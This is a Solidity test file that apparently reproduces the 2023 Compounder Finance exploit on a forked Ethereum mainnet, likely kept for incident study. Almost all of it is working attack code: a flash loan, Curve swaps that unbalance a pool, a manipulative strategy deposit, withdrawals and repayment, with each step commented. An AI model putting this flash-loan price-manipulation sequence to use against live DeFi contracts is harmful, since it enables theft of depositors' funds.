src/test/2023-06/CompounderFinance_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~27,174K USD$
8// Attacker : https://etherscan.io/address/0x0e816b0d0a66252c72af822d3e0773a2676f3278
9// Attack Contract : https://etherscan.io/address/0x2d7973177d594237a9b347cd41082af4cbb40f2b
10// Vulnerable Contract : https://etherscan.io/address/0xaf274e912243b19b882f02d731dacd7cd13072d0
11// Attack Tx : https://etherscan.io/tx/0xcff84cc137c92e427f720ca1f2b36fbad793f34ec5117eed127060686e6797b1
12 
13// @Analysis
14// https://twitter.com/numencyber/status/1666346419702362112
15 
16interface IcDAI {
17    function balanceOf(
18        address owner
19    ) external view returns (uint256);
20 
21    function deposit(uint256 _amount, bool _autoStakeInStakingPool) external;
22 
23    function withdraw(uint256 _shares, bool _autoWithdrawInStakingPool) external;
24}
25 
26interface IyDAI {
27    function balanceOf(
28        address owner
29    ) external view returns (uint256);
30 
31    function approve(address spender, uint256 value) external returns (bool);
32 
33    function deposit(
34        uint256 _amount
35    ) external;
36 
37    function withdraw(
38        uint256 _shares
39    ) external;
40}
41 
42interface ICurveSwap {
43    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
44}
45 
46interface IStrategyCurve {
47    function deposit() external;
48}
49 
50contract ContractTest is Test {
51    IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
52    // Compounder DAI Stablecoin
53    IcDAI cDAI = IcDAI(0x2381742592ab54dC2e89f193AF682D914A8b24C1);
54    // iearn DAI
55    IyDAI yDAI = IyDAI(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);
56    IERC20 yUSDC = IERC20(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);
57    IERC20 yUSDT = IERC20(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);
58    IERC20 yTUSD = IERC20(0x73a052500105205d34Daf004eAb301916DA8190f);
59    IERC20 CentreUSDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
60    Uni_Pair_V3 DAIUSDCPool = Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168);
61    ICurveSwap CurveFiSwap = ICurveSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
62    IStrategyCurve StrategyDAICurve = IStrategyCurve(0xaf274e912243b19B882f02d731dacd7CD13072D0);
63    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
64 
65    function setUp() public {
66        cheats.createSelectFork("mainnet", 17_426_064);
67        cheats.label(address(DAI), "DAI");
68        cheats.label(address(cDAI), "cDAI");
69        cheats.label(address(yDAI), "yDAI");
70        cheats.label(address(yUSDC), "yUSDC");
71        cheats.label(address(yUSDT), "yUSDT");
72        cheats.label(address(yTUSD), "yTUSD");
73        cheats.label(address(CentreUSDC), "CentreUSDC");
74        cheats.label(address(DAIUSDCPool), "DAIUSDCPool");
75        cheats.label(address(CurveFiSwap), "CurveFiSwap");
76        cheats.label(address(StrategyDAICurve), "StrategyDAICurve");
77    }
78 
79    function testExploit() public {
80        emit log_named_decimal_uint("Attacker amount of DAI before hack", DAI.balanceOf(address(this)), DAI.decimals());
81 
82        // Step 1. Flashloan 1_239 DAI through Uniswap V3 flash loans
83        DAIUSDCPool.flash(address(this), 1_239_990 * 1e18, 0, "");
84 
85        emit log_named_decimal_uint("Attacker amount of DAI after hack", DAI.balanceOf(address(this)), DAI.decimals());
86    }
87 
88    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
89        // Approvals
90        DAI.approve(address(yDAI), type(uint256).max);
91        DAI.approve(address(cDAI), type(uint256).max);
92        yDAI.approve(address(CurveFiSwap), type(uint256).max);
93        yUSDC.approve(address(CurveFiSwap), type(uint256).max);
94        yUSDT.approve(address(CurveFiSwap), type(uint256).max);
95        yTUSD.approve(address(CurveFiSwap), type(uint256).max);
96 
97        // Step 2. Deposit 200_000 DAI and 1_000_000 DAI. Receive ~ 1_340_000 cDAI and 880_000 yDAI, respectively
98        cDAI.deposit(200_000 * 1e18, false);
99        yDAI.deposit(1_000_000 * 1e18);
100 
101        // Step 3. Exchange 50_000 yDAI for ~41_000 yUSDC, 160,000 yDAI for ~94,000 yTUSD and the rest of yDAI balance for ~48,693,900 yUSDT
102        CurveFiSwap.exchange(0, 1, 50_000 * 1e18, 0);
103        CurveFiSwap.exchange(0, 3, 160_000 * 1e18, 0);
104        CurveFiSwap.exchange(0, 2, yDAI.balanceOf(address(this)), 0);
105 
106        // Step 4. Withdraw deposit ~1_340_000 cDAI and immediately call the StrategyDAICurve deposit function
107        // This step involved depositing all the current DAI tokens into the contract and adding yDAI liquidity, which disrupted the balance of the trading pair
108        DAI.transfer(address(StrategyDAICurve), DAI.balanceOf(address(this)));
109        cDAI.withdraw(cDAI.balanceOf(address(this)), false);
110        StrategyDAICurve.deposit();
111 
112        // Step 5. Reverse 3 conversions from step 3
113        CurveFiSwap.exchange(1, 0, yUSDC.balanceOf(address(this)), 0);
114        CurveFiSwap.exchange(2, 0, yUSDT.balanceOf(address(this)), 0);
115        CurveFiSwap.exchange(3, 0, yTUSD.balanceOf(address(this)), 0);
116 
117        // Step 6. Release accumulated yDAI from deposit (~910_000 yDAI). The result of this step is withdrawal of ~1_030_000 DAI
118        yDAI.withdraw(yDAI.balanceOf(address(this)));
119 
120        // Step 7. Repay flashloan.
121        DAI.transfer(address(DAIUSDCPool), 1_239_990 * 1e18 + fee0);
122    }
123}